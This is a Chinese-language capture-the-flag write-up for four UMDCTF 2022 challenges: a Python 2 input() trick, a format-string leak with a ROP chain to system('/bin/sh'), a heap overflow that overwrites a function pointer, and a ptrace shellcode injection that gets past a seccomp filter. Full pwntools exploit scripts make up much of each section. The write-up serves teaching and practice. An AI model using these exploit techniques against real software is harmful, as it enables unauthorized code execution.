umdctf2022 umdctf
Legacy
nc 0.cloud.chals.io 28964
tag: python2
概要 python2的input函数漏洞
分析 输入字符类型直接报错,利用报错信息发现关键if (input(str(3-i) + " chances left! \n") == secret):
。直接输入secret
即可绕过。
1 2 3 4 5 6 7 8 9 10 I bet you can't guess my *secret* number! I' ll give you hint, its between 0 and 0,1000000000000000514!aaaa 3 chances left! Traceback (most recent call last): File "/home/ctf/legacy.py" , line 15, in <module> if (input(str(3-i) + " chances left! \n" ) == secret): File "<string>" , line 1, in <module> NameError: name 'aaaa' is not defined
1 2 3 4 5 6 7 I bet you can't guess my *secret* number! I' ll give you hint, its between 0 and 0,1000000000000000514!secret 3 chances left! No way! UMDCTF{W3_H8_p7th0n2}
Classic Act
tag: ROP fmt
checksec 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 1 filename = 'classicact' if debug == 1 : p = process(filename) if debug == 2 p = remote('node4.buuoj.cn' ,20002 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF(filename) libc = elf.libc pop_rdi = 0x00000000004013a3 ret = 0x000000000040101a payload = '%19$paaaa%25$p' p.sendlineafter('Please enter your name!' ,payload) p.recvuntil('Hello:\n' ) canary = int (p.recv(18 ),16 ) p.recvuntil('aaaa' ) libc_main = int (p.recv(14 ),16 ) - 240 libc_base = libc_main - libc.sym['__libc_start_main' ] sys = libc_base + libc.sym['system' ] bin_sh = libc_base + libc.search('/bin/sh' ).next () log.success('canary: ' + hex (canary)) payload = 'Play in UMDCTF!' payload = payload.ljust(0x48 ) payload += p64(canary)*2 + p64(pop_rdi) + p64(bin_sh) + p64(sys) p.sendlineafter('today?' ,payload) p.interactive()
The Show Must Go On
We are in the business of entertainment, the show must go on! Hope we can find someone to replace our old act super fast…
Author : WittsEnd2
tag: heap-overflow
利用思路 一开始发现了向程序输入 showDescription
时有溢出。而且程序给出了一个 win
函数(我一开始还没有发现,因为函数实在太多,没有注意到)。只要把win
函数地址覆写到mainAct + 0x60
上替换掉tellAJoke
函数我们就可以获得flag。而我们需要showDescription = malloc_set(v22 + 8);
在申请堆块的时候在mainAct
的上方。而message1
和message3
是在我们申请之前free
了。所以我们只需要申请的size
和这两个堆块的一样,就可以达到我们的要求。
1 2 3 4 5 6 7 8 9 10 11 *(_QWORD *)(mainAct + 0x60 ) = tellAJoke; currentAct = mainAct; free (message1);free (message3);puts ("How long do you want the show description to be?" );_isoc99_scanf((unsigned int )"%d" , (unsigned int )&v22, v17, v18, v19, v20); showDescription = malloc_set(v22 + 8 ); puts ("Describe the show for us:" );getchar(); fgets(showDescription, 500LL , stdin ); actList = mainAct;
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 1 filename = 'theshow' if debug == 1 : p = process(filename) if debug == 2 : p = remote('node4.buuoj.cn' ,20002 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF(filename) libc = elf.libc mainAct = 0x0000000006F76C0 showDescription = 0x0000000006E84F0 win = 0x000000000400BED p.sendlineafter('What is the name of your act?' ,'aaaa' ) p.sendlineafter('How long do you want the show description to be?' ,str (0x80 )) payload = 'f' *0x88 + p64(0x71 ) + 'f' *0x60 + p64(win) p.sendlineafter('Describe the show for us:' ,payload) p.interactive()
Tracestory
I am trying to figure out the end of this story, but I am not able to read it. Could you help me figure out what it is?
Author : WittsEnd2
tag: seccomp shellcode
概要 一个seccomp
题目,父进程写汇编利用ptrace
将shellcode
注入到子进程的text
段中来绕过seccomp
。
漏洞分析 在seccomp
规则之前,父进程就fork
出了子进程。后父进程读取用户输入,调用setup_seccomp
,然后执行受seccomp
过滤的代码。
利用ptrace
可以不受seccomp
的限制,控制子进程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x18 0xc000003e if (A != ARCH_X86_64) goto 0026 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004 : 0x15 0x00 0x15 0xffffffff if (A != 0xffffffff ) goto 0026 0005 : 0x15 0x13 0x00 0x00000003 if (A == close) goto 0025 0006 : 0x15 0x12 0x00 0x00000004 if (A == stat) goto 0025 0007 : 0x15 0x11 0x00 0x00000005 if (A == fstat) goto 0025 0008 : 0x15 0x10 0x00 0x00000006 if (A == lstat) goto 0025 0009 : 0x15 0x0f 0x00 0x0000000a if (A == mprotect) goto 0025 0010 : 0x15 0x0e 0x00 0x0000000c if (A == brk) goto 0025 0011 : 0x15 0x0d 0x00 0x00000015 if (A == access) goto 0025 0012 : 0x15 0x0c 0x00 0x00000018 if (A == sched_yield) goto 0025 0013 : 0x15 0x0b 0x00 0x00000020 if (A == dup) goto 0025 0014 : 0x15 0x0a 0x00 0x00000021 if (A == dup2) goto 0025 0015 : 0x15 0x09 0x00 0x00000038 if (A == clone) goto 0025 0016 : 0x15 0x08 0x00 0x0000003c if (A == exit ) goto 0025 0017 : 0x15 0x07 0x00 0x0000003e if (A == kill) goto 0025 0018 : 0x15 0x06 0x00 0x00000050 if (A == chdir) goto 0025 0019 : 0x15 0x05 0x00 0x00000051 if (A == fchdir) goto 0025 0020 : 0x15 0x04 0x00 0x00000060 if (A == gettimeofday) goto 0025 0021 : 0x15 0x03 0x00 0x00000065 if (A == ptrace) goto 0025 0022 : 0x15 0x02 0x00 0x00000066 if (A == getuid) goto 0025 0023 : 0x15 0x01 0x00 0x00000068 if (A == getgid) goto 0025 0024 : 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0026 0025 : 0x06 0x00 0x00 0x7fff0000 return ALLOW 0026 : 0x06 0x00 0x00 0x00000000 return KILL
漏洞利用 子进程是一个死循环,我们可以覆盖循环开头的text
段。
用ptrace
函数附加到子进程流程:
追踪指定pid
的进程:ptrace(PTRACE_ATTACH, CHILD_PID, 0, 0)
等待子进程附加wait(0)
往内存地址写入一个字节,地址由addr
给出:ptrace(PTRACE_POKETEXT, CHILD_PID, CODE_ADDRESS, 8_BYTES_OF_CODE)
结束追踪:ptrace(PTRACE_DETACH, CHILD_PID, 0, 0)
attach -> write_text -> detach -> go back to beginning
ptrace函数参考
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context.binary = ELF('trace_story' ) context.log_level = 'debug' p = process('./trace_story' ) p.recvuntil("pid: " ) pid = int (p.recvline().strip()) print ("pid: " ,pid)payload = "begin:" payload += shellcraft.ptrace(constants.linux.PTRACE_ATTACH, pid, 0 , 0 ) binsh = asm(shellcraft.sh()) start_addr = 0x401789 for i in range (0 , int (len (binsh)/8 )): shellcode = u64(binsh[i * 8 :8 +(i*8 )]) payload += shellcraft.ptrace(constants.linux.PTRACE_POKETEXT, pid, start_addr + (i * 8 ), shellcode) payload += shellcraft.ptrace(constants.linux.PTRACE_DETACH, pid, 0 , 0 ) payload += """ jmp begin """ p.sendlineafter(b'Input: \n' , asm(payload)) p.interactive()
参考1 参考2